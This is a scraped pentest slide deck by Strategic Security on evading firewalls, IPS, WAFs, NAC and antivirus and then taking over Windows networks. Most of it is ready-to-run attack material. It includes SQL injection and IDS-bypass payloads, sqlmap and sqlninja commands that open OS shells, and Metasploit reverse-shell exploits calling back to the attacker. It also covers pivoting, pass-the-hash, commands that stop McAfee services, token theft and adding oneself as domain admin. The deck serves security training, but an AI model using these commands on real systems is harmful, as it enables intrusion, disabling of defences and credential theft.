  • 12. Geez...That's A Lot To Bypass More Security Measures are being implemented on company networks today Firewalls are common place (perimeter and host-based) Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows Intrusion Detection/Prevention Systems are hard to detect let alone bypass NAC Solutions are making their way into networks Network/System Administrators are much more security conscious IT Hardware/Software vendors are integrating security into their SDLC . Strategic Security, Inc. © http://www.strategicsec.com/
  • 13. It’s harder now....so what do I do today? Strategic Security, Inc. © http://www.strategicsec.com/
  • 14. Project Scope • Project Scope – Internal BlackBox (Limited Knowledge) Penetration Test – External BlackBox (Limited Knowledge) Penetration Test – Web Application Security Assessment – Wireless Security Assessment – Physical Security Assessment • Project Limitations – Project was considered blackbox until Sampleblank consultants were detected by network team. – No social engineering or user interaction attacks were authorized Strategic Security, Inc. © http://www.strategicsec.com/
  • 15. Attacking sampleblank: The Play-By-Play • Hmmm…what do we have here???? – The following security/monitoring applications were discovered • McAfee Virus Shield • McAfee HIPS • Altiris • Big Brother • Attack Steps: – Enumerate Network without scanning – Obtain valid privileged credentials Strategic Security, Inc. © http://www.strategicsec.com/
  • 16. Attacking sampleblank: Domain Admin Strategic Security, Inc. © http://www.strategicsec.com/
  • 17. I’m SWIFT BABY!!!!! Strategic Security, Inc. © http://www.strategicsec.com/
  • 18. Attacking sampleblank: The Play-By-Play Strategic Security, Inc. © http://www.strategicsec.com/
  • 19. Attacking sampleblank: The Play-By-Play Strategic Security, Inc. © http://www.strategicsec.com/
  • 20. Ask Google To Help Google loves SQL Injection * site:targetcompany.com "Microsoft OLE DB Provider for SQL Server" * site:targetcompany.com "Microsoft JET Database Engine" * site:targetcompany.com "Type mismatch" * site:targetcompany.com "You have an error in your SQL syntax" * site:targetcompany.com "Invalid SQL statement or JDBC" * site:targetcompany.com "DorisDuke error" * site:targetcompany.com "OleDbException" * site:targetcompany.com "JasperException" * site:targetcompany.com "Fatal Error" * site:targetcompany.com "supplied argument is not a valid MySQL" * site:targetcompany.com "mysql_" * site:targetcompany.com ODBC * site:targetcompany.com JDBC * site:targetcompany.com ORA-00921 * site:targetcompany.com ADODB Strategic Security, Inc. © http://www.strategicsec.com/
  • 21. Ask Google To Help Google loves RFIs * site:targetcompany.com ".php" "file=" * site:targetcompany.com ".php" "folder=" * site:targetcompany.com ".php" "path=" * site:targetcompany.com ".php" "style=" * site:targetcompany.com ".php" "template=" * site:targetcompany.com ".php" "PHP_PATH=" * site:targetcompany.com ".php" "doc=" * site:targetcompany.com ".php" "document=" * site:targetcompany.com ".php" "document_root=" * site:targetcompany.com ".php" "pg=" * site:targetcompany.com ".php" "pdf=" . Strategic Security, Inc. © http://www.strategicsec.com/
  • 22. Do Passive Recon/OSINT Act like a woman trying to catch her man cheating – look through EVEYTHING! Firefox Passive Recon - https://addons.mozilla.org/en-US/firefox/addon/6196 1. DNS – AS – Server Version Info 2. Email addresses 3. Files (Doc,PDF, etc) Maltego (Data Relationship Identification) - http://www.paterva.com/web5/client/overview.php 1. DNS – AS – Server Version Info 2. Email addresses 3. Files (Doc,PDF, etc) 4. Social Media 5. Too much to list here Strategic Security, Inc. © http://www.strategicsec.com/
  • 23. OSINT Report What’s in the report * Company’s geographic location info * IP ranges owned by the company * IT Resources owned by the company * Email Addresses of people in the company * Important company files * Personal info about employees Ask me offline and I can show you a report . Strategic Security, Inc. © http://www.strategicsec.com/
  • 24. Identifying Load Balancers Most load-balancers are deployed for redundancy and performance improvement As an attacker – load balancers are a headache. You have no idea where you packets are going.... There is absolutely no point in running tools against a host without knowing if a load balancer has been deployed. So – Step 1 Determine if the host is load balanced.... Step 2 Determine what type of load balancing is in place (HTTP or DNS) Strategic Security, Inc. © http://www.strategicsec.com/
  • 25. Identifying Load Balancers How can you tell if the target host is behind a load balancer? Firefox LiveHTTP Headers - https://addons.mozilla.org/en-US/firefox/addon/3829 - Look in HTTP header for modifications such as: 1. BIGipServerOS in cookie 2. nnCoection: close 3. Cneonction: close dig * Look for multiple addresses resolving to one domain name * dig google.com Strategic Security, Inc. © http://www.strategicsec.com/
  • 26. Identifying Load Balancers How can you tell if the target host is behind a load balancer? Netcraft.com * Look for things like "F5 BigIP" lbd.sh * http://ge.mine.nu/lbd.html * sh lbd-0.1.sh targetcompany.com halberd * http://halberd.superadditive.com/ * halberd -v targetcompany.com Strategic Security, Inc. © http://www.strategicsec.com/
  • 27. Identifying Intrusion Prevention Systems Ok – so now you've figured out if you are up against a load balancer. You've figured out if it's HTTP or DNS based load balancing and what the real IP is. Just like there's no point in running tools against a load balanced host there is no point in running tools against a host that is protected by an IPS. Sooooo...how can you tell if the target host protected an Intrusion Prevention System? Strategic Security, Inc. © http://www.strategicsec.com/
  • 28. Identifying Intrusion Prevention Systems How can you tell if the target host protected an Intrusion Prevention System? Curl: The netcat of the web app world http://curl.haxx.se/ curl -i http://www.targetcompany.com/../../WINNT/system32/cmd.exe?d curl -i http://www.targetcompany.com/type+c:winntrepairsam._ Look for RSTs and no response....tcpdump/wireshark is your friend ;-) Active Filter Detection - http://www.purehacking.com/afd/downloads.php - osstmm-afd -P HTTP -t targetcompany.com -v Strategic Security, Inc. © http://www.strategicsec.com/
  • 29. Identifying Intrusion Prevention Systems Ok, so you're up against an IPS – relax...there are a few other things to consider. HINT: Most IDS/IPS solutions don't monitor SSL encrypted (actually any encrypted) traffic. SSL Accelerators are expensive so not everyone has one. Strategic Security, Inc. © http://www.strategicsec.com/
  • 30. Identifying Intrusion Prevention Systems Most of the time you can get around an IPS by just using encryption. The other thing to consider is whether the IPS is in-line or out of band. Strategic Security, Inc. © http://www.strategicsec.com/
  • 31. Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? vi /etc/xinetd.d/ssltest #default: off #description: OpenSSL s_client proxy (just change the target url) service ssltest { disable = no socket_type = stream port = 8888 wait = no protocol = tcp user = root server = /home/j0e/security/toolz/ssl_proxy.sh only_from = 127.0.0.1 bind = 127.0.0.1 } Strategic Security, Inc. © http://www.strategicsec.com/
  • 32. Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? (Cont.) vi /home/j0e/security/toolz/ssl_proxy.sh #!/bin/bash openssl s_client -quiet -connect www.targetcompany.com:443 2>/dev/null Start the service /usr/sbin/xinetd -d -f /etc/xinetd.d/ssltest & Run AFD against localhost osstmm-afd -v -P HTTP -t localhost -p 8888 -v Strategic Security, Inc. © http://www.strategicsec.com/
  • 33. Attacking Through Tor To run scanning tools through Tor alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide # socat TCP4-LISTEN:8080,fork SOCKS4:127.0.0.1:targetcompany.com80,socksport=9050 Now all attacks can be launched against 127.0.0.1:8080 with Nessus or similar tool. Strategic Security, Inc. © http://www.strategicsec.com/
  • 34. Attacking Through Proxies To port scan through a series of proxies # vi /etc/proxychains.conf # tor & # proxychains nmap -sT -p80 204.244.125.9 To port scan through Glype Proxies $ cd /home/j0e/toolz/glypeahead-1.1 $ vi config.php $ php glypeahead config.php Strategic Security, Inc. © http://www.strategicsec.com/
  • 35. Attacking Through Globally Distributed VPNs Hundreds of companies offer VPN access all over the world - snail mail money order for payment ;)  VyperVPN  Kyptotel  MadVPN  VPNGate  DenVPN  ACEVPN  ....too many to list Strategic Security, Inc. © http://www.strategicsec.com/
  • 36. Are We Forgetting Something???? What if you don't detect any active filtering solution in place? Can you still be missing something that messing with your traffic? What about a WAF? Most hosts running a WAF will show as not have an Active Filtering Solution in place by tools like AFD Strategic Security, Inc. © http://www.strategicsec.com/
  • 37. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? * https://addons.mozilla.org/en-US/firefox/addon/3829 * Look in HTTP header for modifications such as: 1. Cookie Value has WAF info in it - BIGipServerwww.google.com_pool_http - barra_counter_session - WODSESSION 2. Different server response code for hostile request - 501 Method Not Implemented 3. Different "Server" response when hostile packet is sent Strategic Security, Inc. © http://www.strategicsec.com/
  • 38. Identifying Web Application Firewalls WAFs are surprisingly easy to detect? Generally you just have to send 1 valid request, and one malicious request and diff the response. Malicious tends to be any HTTP request that has a payload that contains things like: ' “< ? # - | ^* Strategic Security, Inc. © http://www.strategicsec.com/
  • 39. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://targetcompany.com/cmd.exe | grep "501 Method" Netcat $ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented" If the server responds with error code “501 Method Not Implemented” then it is running mod_security. Curl curl -i http://www.targetcompany.com/%27 HTTP/1.1 999 No Hacking Server: WWW Server/1.1 Strategic Security, Inc. © http://www.strategicsec.com/
  • 40. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 200 Condition Intercepted Date: Sun, 15 Mar 2009 01:42:01 GMT Server: Apache Strategic Security, Inc. © http://www.strategicsec.com/
  • 41. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Waffit (WAFWOOF) Strategic Security, Inc. © http://www.strategicsec.com/
  • 42. Bypassing Web Application Firewalls How can you determine if the target host has deployed a WAF? Gary O'Leary-Steele http://packetstormsecurity.org/web/unicode-fun.txt [j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb Enter string to URL Unicode:<script>alert('XSS')</script> %u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff 54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52 %uff49%uff50%uff54%u003e Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 404 Not Found Date: Sat, 14 Mar 2009 19:13:10 GMT Server: Apache Strategic Security, Inc. © http://www.strategicsec.com/
  • 43. Attacking Websites Through Tor alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide Firefox Tor Button * https://addons.mozilla.org/en-US/firefox/addon/2275 Click on Firefox TOR button and have fun hacking Strategic Security, Inc. © http://www.strategicsec.com/
  • 44. DotNet Defender WAF Strategic Security, Inc. © http://www.strategicsec.com/
  • 45. Bypassing DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
  • 46. Bypassing DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
  • 47. Dumping Admin PW – sorry DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
  • 48. Getting Into The LAN from the web.... Strategic Security, Inc. © http://www.strategicsec.com/
  • 49. SQL Injection to Metasploit (SQLNinja) cd /home/beatdown/toolz/sqlninja-0.2.3/ vi sqlninja.beatdown.conf host = [target ip] page = /vuln/vulnpage.asp stringstart = VulnID=10; lhost = [your ip] device = eth0 msfpath = /home/beatdown/toolz/metasploit resolvedip = [your ip] ./sqlninja -m t -f sqlninja.beatdown.conf (test for injection) ./sqlninja -m f -f sqlninja.beatdown.conf (fingerprint the backend db) ./sqlninja -m u -f sqlninja.beatdown.conf (upload dnstun, netcat, or meterpreter) ./sqlninja -m s -f sqlninja.beatdown.conf (drop a shell) Strategic Security, Inc. © http://www.strategicsec.com/
  • 50. SQL Injection to Metasploit (SQLMAP) cd /home/beatdown/toolz/sqlmap-dev python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-shell -v 1 os-shell> python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-pwn --msf-path /home/beatdown/toolz/metasploit --priv-esc -v 10 meterpreter> Strategic Security, Inc. © http://www.strategicsec.com/
  • 51. Not Getting Caught Strategic Security, Inc. © http://www.strategicsec.com/
  • 52. Filter Evasion I know that people often think this stuff is very black and white, cut and dry - but the simple truth with sql injection is sometimes you just have a gut feeling that you are looking at a vulnerable page. You've tried a bunch of things but for some reason nothing seems to be working. You may be facing some sort of filtering. Maybe the developer has attempted to stop sql injection by only allowing alphanumeric characters as input. Strategic Security, Inc. © http://www.strategicsec.com/
  • 53. Client-Side Filtering The first thing that we want to do is determine if the filtering is client-side (ex: being done with javascript). View source code and look for any parameters being passed to the website that may be filtered with javascript/vbscript and remove them - Save the page locally and remove offending javascript/vbscript or - Use a local proxy (ex: Paros, Webscarab, Burp Suite) Strategic Security, Inc. © http://www.strategicsec.com/
  • 54. Restrictive Blacklist Server-side Alphanumeric Filter http://[site]/page.asp?id=2 or 1 like 1 Here we are doing an “or true,” although this time we are using the “like” comparison instead of the “=” sign. We can use this same technique for the other variants such as “and 1 like 1” or “and 1 like 2” http://[site]/page.asp?id=2 and 1 like 1 http://[site]/page.asp?id=2 and 1 like 2 Strategic Security, Inc. © http://www.strategicsec.com/
  • 55. Signature Based IDS The key to IDS/IPS evasion is knowing that there is one in place. With an IPS you can use something like Active Filter Detection or you can try something REALLY noisy from another IP address to see if your IP gets blocked. Depending of the scope of your engagement you may or may not really be able to identify when an IDS is in use because it's passive in nature. I've honestly found this side of the house to be more proof-of-concept, and just having fun as opposed to something I've actually needed on assessments. Strategic Security, Inc. © http://www.strategicsec.com/
  • 56. Strategic Security, Inc. © http://www.strategicsec.com/
  • 57. Signature Based IDS (1) Signature 1 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2-- http://[site]/page.asp?id=2 or 1<2-- http://[site]/page.asp?id=2 or 1 like 1-- http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2-- ....c'mon everyone name some more Signature Negatives - Having the ' in the signature will cause you to miss attacks that don't utilize the ' - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) If this signature is so easily bypassed, what is it actually good for? Answer: It's great for automated tools and kiddies Strategic Security, Inc. © http://www.strategicsec.com/
  • 58. Signature Based IDS (My Opinion) Strategic Security, Inc. © http://www.strategicsec.com/
  • 59. Signature Based IDS (2) Signature 2 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; pcre: “/(and|or) 1=1 (--|/*|#)/i”; sid: 1; rev:2;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2%2D%2D http://[site]/page.asp?id=2 or 1<2%2D%2D http://[site]/page.asp?id=2 or 1 like 1%2D%2D http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D ....c'mon everyone name some more Signature Negatives - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) - Comments like pretty much anything else can be represented in other encoding type (ex: (%2D%2D = --) - It is possible to attack an sql injection vulnerability without using comments If this signature is so easily bypassed, what is it actually good for? Answer: Again, it's great for automated tools and kiddies Strategic Security, Inc. © http://www.strategicsec.com/
  • 60. Signature Based IDS (3 – 5) Signature 3-5 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/select.*from.*(--|/*|#)/i”; sid: 2; rev: 1;) alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION statement”; flow: to_server, established; pcre:”/union.*(--|/*|#)/i”; sid: 3; rev: 1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D http://[site]/page.asp?id=2 or 2 in (select user)-- http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C %65%63%74%20%75%73%65%72),5,6,7%2D%2D http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7-- ....c'mon everyone name some more Signature Negatives - Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex Strategic Security, Inc. © http://www.strategicsec.com/
  • 61. Signature Based IDS (6 – 7) Signature 6 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(--|/*|#)/i”; sid: 2; rev2;) Signature 7 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o| %6F|%4F)(m|%6D|%4D).*(--|/*|#)/i”; sid: 2; rev: 3;) At least signature 7 takes into account case sensitivity with hex encoding. But..... There are always other encoding types that the attacker can use... Strategic Security, Inc. © http://www.strategicsec.com/
  • 62. Practice Your Kung Fu: PHPIDS Strategic Security, Inc. © http://www.strategicsec.com/
  • 63. Practice Your Kung Fu: PHPIDS Strategic Security, Inc. © http://www.strategicsec.com/
  • 64. Signature Based IDS The real trick for each of these techniques is to understand that this is just like IDS evasion in the service based exploitation side of the house. You have to make sure that your attack actually works. It's easy to bypass an IDS, but you can just as easily end up with your attack bypassing the IDS, but not working at all. With this in mind you can mix/match the IDS evasion tricks - it's just a matter of understanding the regex in use. http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/ %6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/ %72/*how*/)%2D%2D What is passed to the db http://[site]/page.asp?id=2 or 2 in (select user)-- in comments ("IDS evasion is easy just ask j0e to teach you how") Strategic Security, Inc. © http://www.strategicsec.com/
  • 65. Getting in via client-side sudo ./msfconsole Be sure to run as root so you can set the LPORT to 443 use exploit/[name of newest browser, PDF, ActiveX, or fileformat exploit] set PAYLOAD windows/meterpreter/reverse_tcp set ExitOnSession false set LHOST [your public ip] set LPORT 443 exploit -j Strategic Security, Inc. © http://www.strategicsec.com/
  • 66. SET is some next level shit svn co http://svn.thepentest.com/social_engineering_toolkit/ SET/ Strategic Security, Inc. © http://www.strategicsec.com/
  • 67. Pivoting into the LAN Pivot Attack: Using a compromised host as a launching point to attack other hosts... ......set up standard exploit exploit route ctrl-z <-- background the session back <--- you need to get to main msf> prompt Now set up Pivot with a route add route add 192.168.10.131 255.25.255.0 1 <-- Use correct session id route print <----- verify use exploit/windows/smb/ms08_067_dcom set PAYLOAD windows/shell/bind_tcp set RHOST 192.168.10.132 set LPORT 1234 ctrl-z <-- background the session back <--- you need to get to main msf> prompt Run auxillaries & exploits through your pivot use scanner/smb/version set RHOSTS 192.168.10.1/24 run Strategic Security, Inc. © http://www.strategicsec.com/
  • 68. Common LAN Security Solutions Can’t get on the network????? 1. NO DHCP – static IP addresses 2. DHCP MAC Address reservations 3. Port Security 4. NAC solution Strategic Security, Inc. © http://www.strategicsec.com/
  • 69. Common LAN Security Solutions Can’t get on the network????? 1. NO DHCP – static IP addresses • Steal valid IP address from host 2. DHCP MAC Address reservations • Steal valid MAC address 3. Port Security • Steal valid MAC/IP address 4. NAC solution • Look for 802.1x exceptions such as printers, VoIP phones Strategic Security, Inc. © http://www.strategicsec.com/
  • 70. Bypassing NAC Solutions Can’t get on the network????? Jump into the voice VLAN wget http://www.candelatech.com/~greear/vlan/vlan.1.9.tar.gz tar -zxvf vlan.1.9.tar.gz cd vlan tshark -i eth0 -v -v "ether host 01:00:0c:cc:cc:cc and (ether[24:2] = 0x2000 or ether[20:2] = 0x2000)" | grep voice vconfig add eth0 200 # 200 is Voice VLAN ID in this example ifconfig eth0.200 # Verify new interface was created dhcpd -d -t 10 eth0.200 # Try to get dhcp or Voiphopper voiphopper.sourceforge.net/ Strategic Security, Inc. © http://www.strategicsec.com/
  • 71. Enumerating The Internal Network Against NIPS/HIPS c:set Use SET to get domain information and username c:net view Use NET VIEW to get computers in the users domain and other domains c:net view /domain Use NET VIEW to get computers in other domains c:net user Use NET USER to get local users on the computer you are on c:net user /domain All users in the current user's domain c:net localgroup Use NET LOCALGROUP to get the local groups on the computer c:net localgroup /domain Use NET LOCALGROUP to get the domain groups c:net localgroup administrators All users in the local administrators group c:net localgroup administrators /domain All users in the domain administrators group c:net group "Company Admins" /domain All users in the "Company Admins" group c:net user "joe.mccray" /domain All info about this user c:nltest /dclist: List Domain Controllers... Basically browsing network neighborhood, and querying Active Directory will always be considered legitimate traffic to an NIPS so you can use NET commands to enumerate a network without port scanning. Strategic Security, Inc. © http://www.strategicsec.com/
  • 72. Looking Around the Network For A User Some commands to identify a logged in user NBTSTAT -a remotecomputer | FIND "<03>" | FIND /I /V "remotecomputer" WMIC /Node:remotecomputer ComputerSystem Get UserName PSLOGGEDON -L remotecomputer PSEXEC remotecomputer NET CONFIG WORKSTATION | FIND /I " name " PSEXEC remotecomputer NET NAME PSEXEC remotecomputer NETSH DIAG SHOW COMPUTER /V | FIND /i "username" Strategic Security, Inc. © http://www.strategicsec.com/
  • 73. Moving Around The Network Smoking some MSF hash: Moving around the network using password hashes use exploit/windows/smb/psexec set RHOST 192.168.10.20 set SMBUser administrator set SMBPass 01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537 set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.10.10 exploit Strategic Security, Inc. © http://www.strategicsec.com/
  • 74. Killing The HIPS (as SYSTEM with “at” command) 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray 5. Unload the EPO HIPS DLL regsvr32 -u fireepo.dll Strategic Security, Inc. © http://www.strategicsec.com/
  • 75. Killing The HIPS (as SYSTEM with Metasploit) 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray 5. Unload the EPO HIPS DLL regsvr32 -u fireepo.dll Strategic Security, Inc. © http://www.strategicsec.com/
  • 76. Owning The Domain Stealing a domain administrator's token.... meterpreter> use incognito meterpreter> list_tokens -u meterpreter> impersonate_token "domainuser" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token or meterpreter > list_tokens -g meterpreter > impersonate_token "DOMAINDomain Admins" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token Add yourself to the Domain Admin's group c:net user j0e j0eR0ck$ /domain /add c:net localgroup administrators j0e /domain /add Strategic Security, Inc. © http://www.strategicsec.com/
  • 77. Holla @ Me.... Toll Free: 1-866-892-2132 Email: [email protected] Twitter: http://twitter.com/j0emccray Slideshare: http://www.slideshare.net/joemccray LinkedIn: http://www.linkedin.com/in/joemccray Strategic Security, Inc. © http://www.strategicsec.com/